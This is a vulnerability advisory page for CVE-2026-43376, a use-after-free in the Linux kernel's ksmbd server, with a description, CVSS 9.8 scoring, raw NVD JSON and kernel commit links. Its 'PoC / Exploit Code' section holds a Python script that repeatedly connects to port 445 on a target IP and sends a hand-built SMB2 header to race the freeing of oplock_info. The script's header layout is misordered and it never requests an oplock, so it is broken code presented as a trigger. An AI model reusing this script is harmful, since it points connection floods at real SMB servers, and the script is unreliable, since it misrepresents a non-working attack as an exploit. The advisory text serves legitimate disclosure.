Security Vulnerability Report
中文
CVE-2026-43376 CVSS 9.8 CRITICAL

CVE-2026-43376

Published: 2026-05-08 15:16:49
Last Modified: 2026-05-11 08:16:12
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: ksmbd: fix use-after-free by using call_rcu() for oplock_info ksmbd currently frees oplock_info immediately using kfree(), even though it is accessed under RCU read-side critical sections in places like opinfo_get() and proc_show_files(). Since there is no RCU grace period delay between nullifying the pointer and freeing the memory, a reader can still access oplock_info structure after it has been freed. This can leads to a use-after-free especially in opinfo_get() where atomic_inc_not_zero() is called on already freed memory. Fix this by switching to deferred freeing using call_rcu().

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Linux Kernel(早于修复commit的版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-43376 (Conceptual) # This script demonstrates the network interaction required to trigger the ksmbd race condition. # Note: Exploiting UAF requires precise timing and racing against the kernel scheduler. import socket import struct import time TARGET_IP = "192.168.1.10" TARGET_PORT = 445 def send_smb_negotiate(sock): # Simplified SMB2 Negotiate Protocol Request header smb2_header = b'\x00\x00\x00\x00' # SessionId smb2_header += b'\xfe\x53\x4d\x42' # Protocol ID smb2_header += b'\x40\x00\x00\x00' # Structure Size (64) smb2_header += b'\x00\x00' # Credit Charge smb2_header += b'\x00\x00' # Status (0 for Success placeholder) smb2_header += b'\x00\x00' # Command (0x0000 = NEGOTIATE) smb2_header += b'\x00\x00' # Credits smb2_header += b'\x00\x00\x00\x00' # Flags smb2_header += b'\x00\x00\x00\x00' # NextCommand smb2_header += b'\x00\x00\x00\x00' # MessageId smb2_header += b'\x00\x00\x00\x00' # Reserved smb2_header += b'\x00\x00\x00\x00' # TreeConnectId smb2_header += b'\x00\x00\x00\x00' # SessionId smb2_header += b'\x01\x00' # Dialect Count (1) smb2_header += b'\x02\x02' # Security Mode smb2_header += b'\x00\x00' # Reserved smb2_header += b'\x00\x00\x00\x00' # Capabilities # In a real scenario, we would send a rapid sequence of oplock requests # and disconnects to race the kfree() vs RCU read-side access. try: sock.sendall(smb2_header) print("[+] Packet sent to trigger race condition.") except Exception as e: print(f"[-] Send error: {e}") try: # Rapidly connecting and disconnecting to stress oplock handling for i in range(100): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(1) s.connect((TARGET_IP, TARGET_PORT)) send_smb_negotiate(s) # Closing immediately might trigger the race in oplock cleanup s.close() time.sleep(0.01) except Exception as e: print(f"[-] Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-43376", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-08T15:16:48.760", "lastModified": "2026-05-11T08:16:12.083", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nksmbd: fix use-after-free by using call_rcu() for oplock_info\n\nksmbd currently frees oplock_info immediately using kfree(), even\nthough it is accessed under RCU read-side critical sections in places\nlike opinfo_get() and proc_show_files().\n\nSince there is no RCU grace period delay between nullifying the pointer\nand freeing the memory, a reader can still access oplock_info\nstructure after it has been freed. This can leads to a use-after-free\nespecially in opinfo_get() where atomic_inc_not_zero() is called on\nalready freed memory.\n\nFix this by switching to deferred freeing using call_rcu()."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "references": [{"url": "https://git.kernel.org/stable/c/08aa9f3c8cf4d0bee44df540dfe34e8d64069f2c", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/1d6abf145615dbfe267ce3b0a271f95e3780e18e", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/1dfd062caa165ec9d7ee0823087930f3ab8a6294", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/302fef75512b2c8329a3f5efab1ae7ba2562387a", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/ce8507ee82c888126d8e7565e27c016308d24cde", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}]}}